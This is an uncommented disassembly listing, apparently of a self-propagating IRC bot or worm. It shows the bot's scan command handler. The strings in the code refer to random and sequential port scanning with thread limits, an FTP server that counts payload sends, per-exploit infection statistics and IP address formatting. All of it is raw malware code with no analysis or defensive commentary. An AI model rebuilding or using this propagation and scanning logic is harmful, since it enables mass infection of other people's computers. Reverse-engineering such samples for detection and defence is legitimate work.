		jz	short locret_42263B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_42263B:				; CODE XREF: sub_422620+11j
		retn
sub_422620	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422650	proc near		; CODE XREF: sub_40201Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_422650
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	19h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_422691
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_401677


loc_422691:				; CODE XREF: sub_422650+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_422650	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS	KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4226E0	proc near		; CODE XREF: sub_401ED3j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4226E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	15h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_422721
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_4014C9


loc_422721:				; CODE XREF: sub_4226E0+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4226E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422750	proc near		; CODE XREF: sub_401A78j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		call	sub_4019BA
		retn
sub_422750	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422770	proc near		; CODE XREF: sub_401F9Bj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		mov	eax, [ecx]
		call	dword ptr [eax]
		retn
sub_422770	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422790	proc near		; CODE XREF: sub_401677j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		push	edi
		call	sub_4014C9
		mov	eax, [edi+15h]
		pop	edi
		mov	[esi+15h], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_422790	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4227C0	proc near		; CODE XREF: sub_4019BAj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A6E
		test	[esp+4+arg_0], 1
		jz	short loc_4227D8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4227D8:				; CODE XREF: sub_4227C0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4227C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4227F0	proc near		; CODE XREF: sub_401AE1j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4227F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	9
		push	3
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+60h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		mov	dword_4D5FBB, offset aAsn ; "asn"
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+8D008h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_4227F0	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	edx, [esp+2Ch]
		push	1
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+8D036h]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	0Eh
		push	1
		push	3
		lea	ecx, [esp+2Ch]
		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+8D064h]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+8D092h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+44h]
		push	6
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		add	esi, 8D0C0h
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422A40	proc near		; CODE XREF: sub_40138Ej

var_78D		= byte ptr -78Dh
var_78C		= dword	ptr -78Ch
var_788		= byte ptr -788h
var_780		= dword	ptr -780h
var_770		= byte ptr -770h
var_760		= byte ptr -760h
var_6E0		= byte ptr -6E0h
var_660		= dword	ptr -660h
var_65C		= dword	ptr -65Ch
var_658		= dword	ptr -658h
var_654		= dword	ptr -654h
var_650		= dword	ptr -650h
var_644		= dword	ptr -644h
var_640		= dword	ptr -640h
var_638		= dword	ptr -638h
var_634		= dword	ptr -634h
var_630		= dword	ptr -630h
var_624		= byte ptr -624h
var_60C		= byte ptr -60Ch
var_40C		= byte ptr -40Ch
var_20C		= byte ptr -20Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_422A40
		push	eax
		mov	large fs:0, esp
		sub	esp, 784h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+79Ch+arg_0]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+8D008h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422B0A
		push	3
		call	sub_401483
		add	esp, 4
		test	eax, eax
		jle	short loc_422ADD
		push	3
		call	sub_401D8E
		mov	eax, dword_50BB80[eax*8]
		add	esp, 4
		push	eax
		nop
		call	near ptr 71AB3F41h
		push	eax
		push	offset aScanCipS ; "scan: cip (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h
		mov	al, 1
		jmp	loc_422E3B
; ---------------------------------------------------------------------------


loc_422ADD:				; CODE XREF: sub_422A40+52j
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	offset aScanNotStarted ; "scan:	not started"
		push	edx
		push	eax
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		mov	al, 1
		jmp	loc_422E3B
; ---------------------------------------------------------------------------


loc_422B0A:				; CODE XREF: sub_422A40+40j
		lea	ecx, [ebp+8D0C0h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422BB0
		mov	edi, dword_4D63A0
		push	offset asc_443600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	ebx, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		cmp	edi, ebx
		jl	loc_4231BD
		mov	edx, dword_44767F
		push	edi
		push	edx
		push	offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 1Ch
		mov	al, 1
		jmp	loc_422E3B
; ---------------------------------------------------------------------------


loc_422BB0:				; CODE XREF: sub_422A40+DFj
		lea	ecx, [ebp+8D064h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_422C30
		push	eax
		push	3
		call	sub_401D93
		add	esp, 8
		test	eax, eax
		jle	short loc_422C05
		push	eax
		push	offset aScanStoppedDTh ; "scan:	stopped	(%d threads)"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h
		jmp	loc_422E39
; ---------------------------------------------------------------------------


loc_422C05:				; CODE XREF: sub_422A40+194j
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aScanCouldnTSto ; "scan:	couldn't stop"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60A5
		call	sub_401118
		jmp	loc_422E39
; ---------------------------------------------------------------------------


loc_422C30:				; CODE XREF: sub_422A40+185j
		lea	ecx, [ebp+8D036h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		mov	edi, dword_50FB08
		test	eax, eax
		jnz	loc_422CDE
		push	3
		call	sub_401483
		add	esp, 4
		mov	ebx, eax
		lea	eax, [esp+7A0h+var_788]
		mov	ecx, esi
		push	offset asc_443600 ; " "
		push	2
		push	eax
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 1
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	eax, ebx
		add	esp, 4
		cmp	eax, 1F4h
		lea	ecx, [esp+7A0h+var_788]
		setnle	[esp+7A0h+var_78D]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, [esp+7A0h+var_78D]
		test	al, al
		jz	loc_422E56
		push	ebx
		push	offset aScanTooManyThr ; "scan:	too many threads (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h


loc_422CDE:				; CODE XREF: sub_422A40+20Bj
		lea	ecx, [ebp+8D092h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422E39
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_624]
		push	1
		push	eax
		mov	ecx, esi
		xor	ebx, ebx
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0Ah
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_624]
		mov	edi, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, dword_444438
		mov	[esp+7A0h+var_78D], bl
		test	eax, eax
		jz	short loc_422D69
		mov	eax, offset dword_444438


loc_422D55:				; CODE XREF: sub_422A40+327j
		cmp	[eax+8], edi
		jb	short loc_422D5F
		mov	[esp+7A0h+var_78D], 1


loc_422D5F:				; CODE XREF: sub_422A40+318j
		mov	ecx, [eax+3Ch]
		add	eax, 3Ch
		test	ecx, ecx
		jnz	short loc_422D55


loc_422D69:				; CODE XREF: sub_422A40+30Ej
		mov	ebp, off_50FBF0
		lea	ecx, [esp+7A0h+var_60C]
		push	offset aScanStats ; "scan: stats:"
		push	ecx
		call	ebp ; sub_5EA1BD
		mov	eax, dword_444438
		add	esp, 8
		test	eax, eax
		jz	short loc_422DCF
		mov	edi, offset dword_444440


loc_422D8F:				; CODE XREF: sub_422A40+38Dj
		mov	eax, [edi]
		lea	edx, [edi-26h]
		add	ebx, eax
		push	eax
		push	edx
		lea	eax, [esp+7A8h+var_40C]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	ebp ; sub_5EA1BD
		lea	ecx, [esp+7B0h+var_40C]
		push	200h
		lea	edx, [esp+7B4h+var_60C]
		push	ecx
		push	edx
		call	near ptr 77C47920h
		nop
		mov	eax, [edi+34h]
		add	edi, 3Ch
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_422D8F


loc_422DCF:				; CODE XREF: sub_422A40+348j
		push	ebx
		lea	eax, [esp+7A4h+var_40C]
		push	offset aTotalD	; " total: %d"
		push	eax
		call	ebp ; sub_5EA1BD
		lea	ecx, [esp+7ACh+var_40C]
		push	200h
		lea	edx, [esp+7B0h+var_60C]
		push	ecx
		push	edx
		nop
		call	near ptr 77C47920h
		mov	al, [esp+7B8h+var_78D]
		add	esp, 18h
		test	al, al
		jz	short loc_422E29
		xor	eax, eax
		lea	ecx, [esp+7A0h+var_60C]
		mov	al, [esi+94h]
		push	eax
		push	ecx
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		push	eax
		push	0
		call	sub_401523
		add	esp, 10h


loc_422E29:				; CODE XREF: sub_422A40+3C3j
		lea	edx, [esp+7A0h+var_60C]
		push	edx
		call	sub_4010D2
		add	esp, 4


loc_422E39:				; CODE XREF: sub_422A40+1C0j
					; sub_422A40+1EBj ...
		xor	al, al


loc_422E3B:				; CODE XREF: sub_422A40+98j
					; sub_422A40+C5j ...
		mov	ecx, [esp+7A0h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 790h
		retn	4
; ---------------------------------------------------------------------------


loc_422E56:				; CODE XREF: sub_422A40+26Ej
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 2
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		or	ebx, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_65C], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, 3
		mov	ecx, eax
		mov	[esp+7A0h+var_4], ebp
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_644], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	ebp
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 4
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_658], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	eax, [esp+7A0h+var_658]
		cmp	eax, ebp
		jnb	short loc_422F33
		mov	[esp+7A0h+var_658], ebp
		jmp	short loc_422F43
; ---------------------------------------------------------------------------


loc_422F33:				; CODE XREF: sub_422A40+4E8j
		cmp	eax, 3Ch
		jbe	short loc_422F43
		mov	[esp+7A0h+var_658], 3Ch


loc_422F43:				; CODE XREF: sub_422A40+4F1j
					; sub_422A40+4F6j
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 5
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_654], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	ecx, [esp+7A0h+var_654]
		mov	eax, 960h
		cmp	ecx, eax
		jbe	short loc_422F9C
		mov	[esp+7A0h+var_654], eax


loc_422F9C:				; CODE XREF: sub_422A40+553j
		mov	eax, dword_444438
		mov	[esp+7A0h+var_640], ebx
		test	eax, eax
		mov	[esp+7A0h+var_78C], 0
		jz	loc_42306C
		mov	ebp, offset dword_444438
		jmp	short loc_422FC2
; ---------------------------------------------------------------------------


loc_422FBF:				; CODE XREF: sub_422A40+602j
		or	ebx, 0FFFFFFFFh


loc_422FC2:				; CODE XREF: sub_422A40+57Dj
		push	offset asc_443600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 6
		call	sub_4017E4
		mov	edi, eax
		lea	ecx, [ebp-28h]


loc_422FEC:				; CODE XREF: sub_422A40+5CAj
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_423010
		test	al, al
		jz	short loc_42300C
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_423010
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_422FEC


loc_42300C:				; CODE XREF: sub_422A40+5B6j
		xor	eax, eax
		jmp	short loc_423014
; ---------------------------------------------------------------------------


loc_423010:				; CODE XREF: sub_422A40+5B2j
					; sub_422A40+5C0j
		sbb	eax, eax
		sbb	eax, ebx


loc_423014:				; CODE XREF: sub_422A40+5CEj
		test	eax, eax
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	short loc_42304A
		mov	edx, [esp+7A0h+var_78C]
		mov	eax, [ebp+3Ch]
		add	ebp, 3Ch
		inc	edx
		test	eax, eax
		mov	[esp+7A0h+var_78C], edx
		jnz	loc_422FBF
		jmp	short loc_423069
; ---------------------------------------------------------------------------


loc_42304A:				; CODE XREF: sub_422A40+5EFj
		mov	ecx, [esp+7A0h+var_78C]
		mov	[esp+7A0h+var_640], ecx
		lea	eax, [ecx+ecx*2]
		lea	eax, [eax+eax*4]
		mov	edx, dword_444438[eax*4]
		mov	[esp+7A0h+var_65C], edx


loc_423069:				; CODE XREF: sub_422A40+608j
		or	ebx, 0FFFFFFFFh


loc_42306C:				; CODE XREF: sub_422A40+572j
		mov	eax, [esp+7A0h+var_65C]
		test	eax, eax
		jnz	short loc_42308A
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		push	eax
		push	offset aScanInvalidPor ; "scan:	invalid	port"
		jmp	loc_4231A5
; ---------------------------------------------------------------------------


loc_42308A:				; CODE XREF: sub_422A40+635j
		push	offset asc_443600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	offset dword_443DC4
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 7
		call	sub_4013E3
		lea	ecx, [esp+7A0h+var_788]
		mov	edi, eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		test	edi, edi
		jz	loc_423167
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	5
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 8
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+7A4h+var_770]
		push	10h
		push	ecx
		call	near ptr 77C3FA76h
		nop
		add	esp, 0Ch
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	78h
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 9
		call	sub_4017E4
		push	eax
		call	near ptr 77C47660h
		nop
		add	esp, 8
		lea	ecx, [esp+7A0h+var_788]
		neg	eax
		sbb	eax, eax
		mov	[esp+7A0h+var_4], ebx
		neg	eax
		mov	[esp+7A0h+var_630], eax
		call	sub_401226
		jmp	loc_423296
; ---------------------------------------------------------------------------


loc_423167:				; CODE XREF: sub_422A40+688j
		push	offset dword_444574
		mov	ecx, esi
		call	sub_4013E3
		test	eax, eax
		jnz	short loc_4231C4
		push	offset off_444570
		mov	ecx, esi
		call	sub_4013E3
		test	eax, eax
		jnz	short loc_4231C4
		push	offset aB	; " -b"
		mov	ecx, esi
		call	sub_4013E3
		test	eax, eax
		jnz	short loc_4231C4
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		push	eax
		push	offset aScanNoIpSpecif ; "scan:	no ip specified"


loc_4231A5:				; CODE XREF: sub_422A40+645j
		mov	al, [esi+94h]
		mov	cl, [esi+93h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60A5
		call	sub_401118


loc_4231BD:				; CODE XREF: sub_422A40+132j
		mov	al, 1
		jmp	loc_422E3B
; ---------------------------------------------------------------------------


loc_4231C4:				; CODE XREF: sub_422A40+735j
					; sub_422A40+745j ...
		mov	ecx, dword_4D60BD
		lea	edx, [esp+7A0h+var_78C]
		lea	eax, [esp+7A0h+var_788]
		push	edx
		push	eax
		push	ecx
		mov	[esp+7ACh+var_78C], 10h
		nop
		call	near ptr 71AB951Eh
		push	offset off_444570
		mov	ecx, esi
		call	sub_4013E3
		mov	edx, eax
		mov	eax, [esp+79Ch+var_780]
		neg	edx
		sbb	edx, edx
		push	10h
		and	edx, 0FFFF0100h
		add	edx, 0FFFFh
		and	eax, edx
		push	eax
		mov	[esp+7A4h+var_780], eax
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+7A8h+var_770]
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	ecx, esi
		push	offset dword_444574
		call	sub_4013E3
		test	eax, eax
		jz	short loc_42328B
		push	offset off_444570
		mov	ecx, esi
		call	sub_4013E3
		mov	ebp, dword_50FA90
		mov	edi, eax
		neg	edi
		sbb	edi, edi
		lea	ecx, [esp+7A0h+var_770]
		neg	edi
		push	30h
		push	ecx
		add	edi, 2
		call	ebp	; strrchr
		add	esp, 8
		xor	bl, bl
		test	edi, edi
		jle	short loc_42327E


loc_423262:				; CODE XREF: sub_422A40+83Cj
		test	eax, eax
		jz	short loc_42327E
		lea	edx, [esp+7A0h+var_770]
		push	30h
		push	edx
		mov	byte ptr [eax],	78h
		call	ebp	; strrchr
		add	esp, 8
		inc	bl
		movsx	ecx, bl
		cmp	ecx, edi
		jl	short loc_423262


loc_42327E:				; CODE XREF: sub_422A40+820j
					; sub_422A40+824j
		mov	[esp+7A0h+var_630], 1
		jmp	short loc_423296
; ---------------------------------------------------------------------------


loc_42328B:				; CODE XREF: sub_422A40+7F1j
		mov	[esp+7A0h+var_630], 0


loc_423296:				; CODE XREF: sub_422A40+722j
					; sub_422A40+849j
		mov	edx, dword_4D60BD
		xor	eax, eax
		mov	al, [esi+93h]
		lea	edi, [esi+2Ah]
		mov	ecx, edi
		mov	[esp+7A0h+var_660], edx
		mov	[esp+7A0h+var_638], 0
		mov	[esp+7A0h+var_634], eax
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+7A4h+var_760]
		push	80h
		push	ecx
		call	near ptr 77C3FA76h
		nop
		mov	eax, [esp+7ACh+var_630]
		add	esp, 0Ch
		test	eax, eax
		mov	[esp+7A0h+var_6E0], 0
		mov	eax, offset aRandom ; "random"
		jnz	short loc_4232F8
		mov	eax, offset aSequential	; "sequential"


loc_4232F8:				; CODE XREF: sub_422A40+8B1j
		mov	edx, [esp+7A0h+var_644]
		mov	ecx, [esp+7A0h+var_654]
		push	edx
		mov	edx, [esp+7A4h+var_658]
		push	ecx
		mov	ecx, [esp+7A8h+var_65C]
		push	edx
		lea	edx, [esp+7ACh+var_770]
		push	ecx
		push	edx
		push	eax
		mov	eax, [esp+7B8h+var_640]
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ecx, ds:44441Ah[eax*4]
		push	ecx
		push	offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"...
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		push	0
		lea	ecx, [esp+7D4h+var_20C]
		push	3
		push	ecx
		call	sub_401BD6
		add	esp, 3Ch
		lea	edx, [esp+7A0h+var_770]
		mov	[esp+7A0h+var_650], eax
		push	edx
		call	sub_402261
		mov	al, 1
		jmp	loc_422E3B
sub_422A40	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4235F0	proc near		; CODE XREF: sub_40114Fj

arg_A6		= dword	ptr  0AAh
arg_AE		= dword	ptr  0B2h

		mov	ecx, [esp+arg_AE]
		push	ebx
		test	ecx, ecx
		push	offset byte_446F60
		mov	ecx, offset dword_447988
		setnz	bl
		call	sub_4014D3
		push	eax
		push	ebx
		push	ebx
		push	offset byte_4D60A5
		call	sub_401848
		mov	eax, [esp+18h+arg_A6]
		add	esp, 14h
		lea	eax, [eax+eax*2]
		pop	ebx
		lea	eax, [eax+eax*4]
		mov	ecx, dword_444440[eax*4]
		inc	ecx
		mov	dword_444440[eax*4], ecx
		mov	al, 1
		retn
sub_4235F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423660	proc near		; CODE XREF: sub_401DF7j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 14h
		xor	eax, eax
		lea	ecx, [esp+14h+var_14]
		mov	[esp+14h+var_10], eax
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_C], eax
		push	ecx
		mov	[esp+18h+var_8], eax
		push	edx
		mov	[esp+1Ch+var_4], eax
		mov	eax, [esp+1Ch+arg_0]
		push	eax
		mov	[esp+20h+var_14], 10h
		call	near ptr 71AB951Eh
		nop
		mov	ecx, [esp+14h+var_C+3]
		mov	edx, [esp+14h+var_C+2]
		mov	eax, [esp+14h+var_C+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+18h+var_C]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	offset dword_50DAD8
		nop
		call	sub_5EA1BD
		mov	eax, offset dword_50DAD8
		add	esp, 2Ch
		retn
sub_423660	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423720	proc near		; CODE XREF: sub_401F37j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, dword_50BB80[esi*8]
		push	eax
		nop
		call	near ptr 71AB2BC0h
		inc	eax
		push	eax
		nop
		call	near ptr 71AB2BC0h
		mov	dword_50BB80[esi*8], eax
		pop	esi
		retn
sub_423720	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

